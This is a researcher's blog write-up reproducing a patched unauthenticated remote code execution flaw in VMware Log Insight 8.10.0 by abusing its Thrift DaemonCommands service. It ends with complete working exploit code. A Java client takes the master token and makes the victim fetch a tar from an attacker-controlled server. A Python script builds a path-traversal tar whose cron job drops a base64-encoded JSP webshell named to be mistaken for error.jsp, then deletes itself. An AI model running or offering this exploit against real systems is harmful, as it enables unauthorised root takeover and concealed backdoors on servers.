Preparations
Recently I noticed that horizon3 team’s blog on VMWare Log Insight’s IOCs and technical analysis and decided to take a look at this bug myself. I registered for a trial version of Log Insight on VMWare’s website and downloaded OVA images for both 8.10.2 (patched version) and 8.10.0 (vunlerable version) versions.
After basic setup I realized the root password I set earlier didn’t work, and there’s no way for me to extract source codes to analyze, I thought. Then I started thinking: well, if this OVA image contains everything, then why couldn’t I just find a way to extract source codes here?
I tried to unzip this OVA image with 7z, and it actually worked. I got two VMDK files after decompression:
Then, I was just assuming file systems have got to be in one of those files. After some research, I found out this VMDK file is a virtual disk file, and I can use DiskGenius to view and even extract files from partitions. But for some reason, DiskGenius failed to extract some crucial files out, and I had to take another path.
Later, I read that I can add those VMDK files to a virtual disk on one of my VMs. From running fdisk -l I saw an extra disk and reay to mount:
From earlier’s examining in DiskGenius, I knew partition 3 (from 0 to 5) contains actual file systems, so I needed to mount /dev/sdb4 using mount -o ro,noload /dev/sdb4 /mnt and I was able to access Log Insight’s file system:
Log Insight’s home directory is at /usr/lib/loginsight/, and it also uses Tomcat as it’s web container in /usr/lib/loginsight/3rd_party/apache-tomcat-.... It’s Tomcat’s version varies depending on Log Insight’s version.
After extracting all JAR files on disk, we can start to decompile and analyze patches and how it can be exploited.
Patch Diff & IOCs Analysis
By the time of analyzing this bug, horizon3 hasn’t released their technical analysis yet, the only available info in public is IOCs they published. I noticed two terms: Apache Thrift and com.vmware.loginsight.daemon.commands.SystemCommands. It appears Thrift is a gRPC-like protocol for RPC stuff, and the other term is obviously a Java package. And I started there, looking for this package.
daemon-service.jar and remotePakDownloadCommand
This package is located in daemon-service.jar.
Then, I looked for strings from this IOC horizon3 released:
and all sources pointed to remotePakDownloadCommand:
But not knowing how it’s called and used, it left me with a dead end. And I started to look for patch diffs.
Patches
I didn’t download PAK file provided by VMWare, instead I extract source codes from both 8.10.0 and 8.10.2 version and use Intellij’s compare tool to analyze patches.
In APIClient.class, I noticed a method called unauthenticatedThriftRequest, which implies there is some unauthentication access to the Thrift service.
I also looked at other diffs, and most of them is related to Thrift service access.
Unauthenticated Thrift Service Accessing
Didn’t find anything too exiciting other than the ones I mentions above, I jump straight to exploiting Thrift part.
I looked at some key JAR files which may contain information on Thrift services, and I found those two:
In com.vmware.loginsight.lib.thrift.ThriftRpcClient from thrift-lib.jar, Log Insight has already provided runnable code for connecting to Thrift service, also from searching online and copy & paste other people’s code we can write a simple Thrift client. I did all those in Java though, because if I were to write my codes in Python, I’d had to generate a useable Thrift library first, just like gRPC.
For those who are not quite familiar with gRPC, it basically does RPC jobs and can cross platforms. It’s also supported in many popular programming languages like Java, Go, Python. All structures or variables or messages will be defined in a proto file which follows Protobuf format. Then, in order to use those RPCs, you’d need to import those into your project. With gRPC’s compile tool, relevant codes will be compiled and auto generated. Finally, include those auto-generated files and you can work with gRPC.
Now, back to Thrift. Thrift works exactly like gRPC, and first, we need to connect to a service as client. Log Insight told us how to find one:
try {
clientClazz = Class.forName(serviceName + "$Client");
} catch (ClassNotFoundException var17) {
error("ERROR: Service " + serviceName + " is invalid or not found.");
System.exit(1);
}
And, with some old and simple methods, like grep, I found those services:
./thrift-lib/com/vmware/loginsight/lib/thrift/TestReceiver$Client.class
./thrift-messages-client/com/vmware/loginsight/analytics/LogSearchMaster$Client.class
./thrift-messages-client/com/vmware/loginsight/analytics/LogSearchWorker$Client.class
./thrift-messages-client/com/vmware/loginsight/commons/rpc/cancellation/DummyCancellableService$Client.class
./thrift-messages-client/com/vmware/loginsight/commons/rpc/clientconnpool/NewClientPoolToy$Client.class
./thrift-messages-client/com/vmware/loginsight/daemon/protocol/commands/DaemonCommands$Client.class
./thrift-messages-client/com/vmware/loginsight/daemon/shared/protocol/status/StatusUpdateReceiver$Client.class
./thrift-messages-client/com/vmware/loginsight/election/LeaderElectionService$Client.class
./thrift-messages-client/com/vmware/loginsight/ingestion/importer/LogImporterService$Client.class
./thrift-messages-client/com/vmware/loginsight/ingestion/importer/PeerLogImporterService$Client.class
./thrift-messages-client/com/vmware/loginsight/loadbalancer/LoadBalancerService$Client.class
./thrift-messages-client/com/vmware/loginsight/logexport/LogExport$Client.class
./thrift-messages-client/com/vmware/loginsight/prodcheck/service/InProductionChecks$Client.class
./thrift-messages-client/com/vmware/loginsight/services/registry/ServiceRegistry$Client.class
Pretty much the only service we care about is DaemonCommands, and let’s connect to it:
When analyzing code in remotePakDownloadCommand, I noticed this error message:
Remote PAK Download command must come from master.
I didn’t know how it will be used, but I knew I need it. And with a simple Thrift RPC call, we can get master node’s token.
We can also find RemotePakDownloadCommand defined:
Parameters should be self-explanatory. And now, we have all we needed to make the call, let’s do it.
RemotePakDownloadCommand remotePakDownloadCommand = new RemotePakDownloadCommand(masterToken, "http://<ip>:<port>/exp.tar", "exp.pak");
Command remoteCommand = new Command(CommandType.REMOTE_PAK_DOWNLOAD_COMMAND);
remoteCommand.setRemotePakDownloadCommand(remotePakDownloadCommand);
CommandWithTimeout remoteCommandWithTimeout = new CommandWithTimeout(remoteCommand, 10000);
System.out.println(client.runCommand(remoteCommandWithTimeout));
By reading the code a bit, and many debugs and retries, I wrote the above code and it successfully made connection to a HTTP server I started. I didn’t have this exp.tar, yet. But what matters is our call worked.
Then, I wondered: it doesn’t seem remotePakDownloadCommand itself does anything special that would cause file write or RCE, and also in VMWare’s advisory, a directory traversal vulnerability exists. It has to be something like decompressing tar file, and if we include a file with name of ../../../tmp/aaa, it will trigger path traversal and eventually file write.
Just above remotePakDownloadCommand method, pakUpgradeCommand is defined:
Looks like it’s running a script at IInstallationNames.UPGRADE_SCRIPT:
String UPGRADE_SCRIPT = FileUtils.join(new String[]{File.separatorChar + "opt", "vmware", "bin", "loginsight-pak-upgrade"});
This script is pretty long, and it’s written in Python. It checks PAK file’s integrity, verifies its signatures and checksums, checks its certificates, and finally extract files out.
extractFiles function does what its name says, here is its code:
def extractFiles(inputFile, fileList):
try:
tar = tarfile.open(inputFile, "r")
except:
raise Exception("Cannot open " + inputFile)
try:
if len(fileList) == 0:
tar.extractall()
else:
for fname in fileList:
tar.extract(fname)
except:
raise Exception("Cannot extract file from pak file")
finally:
tar.close()
return
We see it doesn’t check for file path, which allows path traversal to work. We need to know where and how it called, though. We want a condition where len(fileList) == 0, which means it’s an empty array, such that all file will be extracted and we can write any files on the disk.
And…it’s pretty far down, our PAK file has to go through verifyCertificate and validateSignature to reach our desired code. I struggled a lot trying to bypass those two checks, until horizon3 released their analysis, and I realized I can just use VMWare’s upgrade package! I downloaded this PAK file, decompressed it and only kept the important ones.
By that, I mean:
And verifyCertificate and validateSignature functions will read content of manifest file and certificate file. So, those two are the files I kept. The rest of files, like eula and .rpm files won’t matter because Log Insight checks their content after extractFiles(inputFile, []) is called. Which means we don’t care if those files are legit or not.
Finally! Let’s craft our exploit PAK file and make the upgrade call.
Dropping Webshell And RCE
Since we have already had all the tools we needed for theoratical exploit, what we need to work on now is find a way to achieve RCE.
It’s pretty simple, to be fair, we can achieve in numbers of ways, like dropping a SSH-key, a cron job like the horizon3 team does, or some other backdoors as we have root access when downloading and writing files. But I want to drop a webshell. I just like the way better. I knew the web container is Tomcat, and there has to be some directories allow me to write JSP webshells.
I noted this path down and launched my first trial attack… and it didn’t work. Because I didn’t have root password for my local Log Insight environment, so I couldn’t figure out what really happened. Then I used team horizon3’s exploit, well… it worked and also made me more frustrated. I navigated to what’s supposed to be Tomcat’s home directory, and I found two directories…
I then realized, for each version of Log Insight, they may run on different version of Tomcat, and what’s more: Tomcat’s home directory is based on its version number. This means I have to know target’s Tomcat version to successfully drop a webshell. Or, is it?
I banged my head against the wall for a while, and thought: maybe I can leak environment variables? And it turns out to be a no. Then I came up with an idea: maybe I can drop a cron job first, make it write to the location I wanted with wildcard expressions, and finally make the cron deletes itself.
Long story short, it worked. And I don’t need to modify anything when I want to exploit this bug again, because it should apply for any versions (idk, I didn’t test it on other versions).
Conclusion
VMWare Log Insight itself is not really widely used on public networks, and I found the process of reproducing this bug to be quite interesting. And thanks the horizon3 team for their IOCs and analysis.
I believe I forgot to explain why I’m connection to port 16520 for Thrift clients. It’s pre-defined and the DaemonCommands services just runs on this port.
Codes
Yes, I will include my exploits here.
ThriftClient.java
import com.vmware.loginsight.daemon.protocol.commands.*;
import org.apache.thrift.protocol.TBinaryProtocol;
import org.apache.thrift.protocol.TProtocol;
import org.apache.thrift.transport.TSocket;
import org.apache.thrift.transport.TTransport;
import org.apache.thrift.transport.layered.TFramedTransport;
public class client {
public static void main(String[] args) throws Exception{
TSocket socket = new TSocket("<victim ip>", 16520);
TTransport transport = new TFramedTransport(socket);
transport.open();
TProtocol protocol = new TBinaryProtocol(transport);
DaemonCommands.Client client = new DaemonCommands.Client(protocol);
StrataNodeInfo masterInfo = client.getMembers().getMaster();
String masterToken = masterInfo.token;
System.out.println(masterToken);
RemotePakDownloadCommand remotePakDownloadCommand = new RemotePakDownloadCommand(masterToken, "http://<your ip>:<your port>/exp.tar", "exp.pak");
Command remoteCommand = new Command(CommandType.REMOTE_PAK_DOWNLOAD_COMMAND);
remoteCommand.setRemotePakDownloadCommand(remotePakDownloadCommand);
CommandWithTimeout remoteCommandWithTimeout = new CommandWithTimeout(remoteCommand, 10000);
System.out.println(client.runCommand(remoteCommandWithTimeout));
PakUpgradeCommand pakUpgradeCommand = new PakUpgradeCommand("exp.pak", false);
Command upgradeCommand = new Command(CommandType.PAK_UPGRADE_COMMAND);
upgradeCommand.setPakUpgradeCommand(pakUpgradeCommand);
CommandWithTimeout upgradeCommandWithTimeout = new CommandWithTimeout(upgradeCommand, 10000);
System.out.println(client.runCommand(upgradeCommandWithTimeout));
transport.close();
}
}
craftTar.py
I create tar files in memory because I think it’s cool.
import tarfile
from io import BytesIO
tar_buf = BytesIO()
mf_name = 'VMware-vRealize-Log-Insight.mf'
cr_name = 'VMware-vRealize-Log-Insight.cert'
sc_file = 'upgrade-driver'
eula = 'eula.txt'
rmp_file = 'test.rpm'
mf_data = '''{
"CHECKSUMS": [
{
"CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",
"FILE_NAME": "eula.txt"
},
{
"CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",
"FILE_NAME": "cn_eula.txt"
},
{
"CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",
"FILE_NAME": "de_eula.txt"
},
{
"CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",
"FILE_NAME": "es_eula.txt"
},
{
"CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",
"FILE_NAME": "fr_eula.txt"
},
{
"CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",
"FILE_NAME": "ja_eula.txt"
},
{
"CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",
"FILE_NAME": "ko_eula.txt"
},
{
"CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",
"FILE_NAME": "tw_eula.txt"
},
{
"CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",
"FILE_NAME": "upgrade-driver"
},
{
"CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm"
}
],
"FROM_VERSION": "8.8.0-0",
"REQUIRED_SPACE": "1073741824",
"RPM_INFO": {
"KEY_LIST": [],
"REBOOT": "False",
"RPM_LIST": [
{
"ARGUMENTS": [
"--nodeps"
],
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",
"OPTION": "INSTALL_OR_UPGRADE"
}
]
},
"TO_VERSION": "8.10.2-21145187"
}'''
cr_data = '''SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776
-----BEGIN CERTIFICATE-----
MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV
BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x
FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy
MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD
VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI
hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw
9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb
4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay
9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT
W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw
kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww
HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd
m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs
aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu
Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP
nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69
i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S
fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0
IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G
PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG
vSqQGIbCybw5KTCXRQ8d
-----END CERTIFICATE-----
'''
cron_path = '../../etc/cron.d/exploit'
cron_data = '''echo PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlClN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7ClN0cmluZyBvdXRwdXQgPSAiIjsKaWYoY21kICE9IG51bGwpIHsKICAgIFN0cmluZyBzID0gbnVsbDsKICAgIHRyeSB7CiAgICAgICAgUHJvY2VzcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWQsbnVsbCxudWxsKTsKICAgICAgICBCdWZmZXJlZFJlYWRlciBzSSA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcKICAgICAgICBJbnB1dFN0cmVhbVJlYWRlcihwLmdldElucHV0U3RyZWFtKCkpKTsKICAgICAgICB3aGlsZSgocyA9IHNJLnJlYWRMaW5lKCkpICE9IG51bGwpIHsgb3V0cHV0ICs9IHMrIlxuIjsgfQogICAgfSAgY2F0Y2goSU9FeGNlcHRpb24gZSkgeyAgIGUucHJpbnRTdGFja1RyYWNlKCk7ICAgfQp9CiU+CjwlPW91dHB1dCAlPiAgICAgICAg | /usr/bin/base64 -d > "$(/usr/bin/dirname $(find /usr/lib/loginsight/application/ -name error.jsp))/errors.jsp;/usr/bin/rm /etc/cron.d/exploit"
'''
files = {
mf_name: mf_data,
cr_name: cr_data,
eula: '',
sc_file: '',
rmp_file: '',
cron_path: cron_data
}
tar_file = open('./exp.tar', 'bw')
with tarfile.open(fileobj=tar_file, mode='w') as tar:
for name, content in files.items():
data = BytesIO(initial_bytes=content.encode())
info = tarfile.TarInfo(name)
info.size = len(content)
tar.addfile(info, data)
tar_file.close()
I drop webshell in /loginsight/error/errors.jsp because it may confuse people as the original error file is /loginsight/error/error.jsp.
! 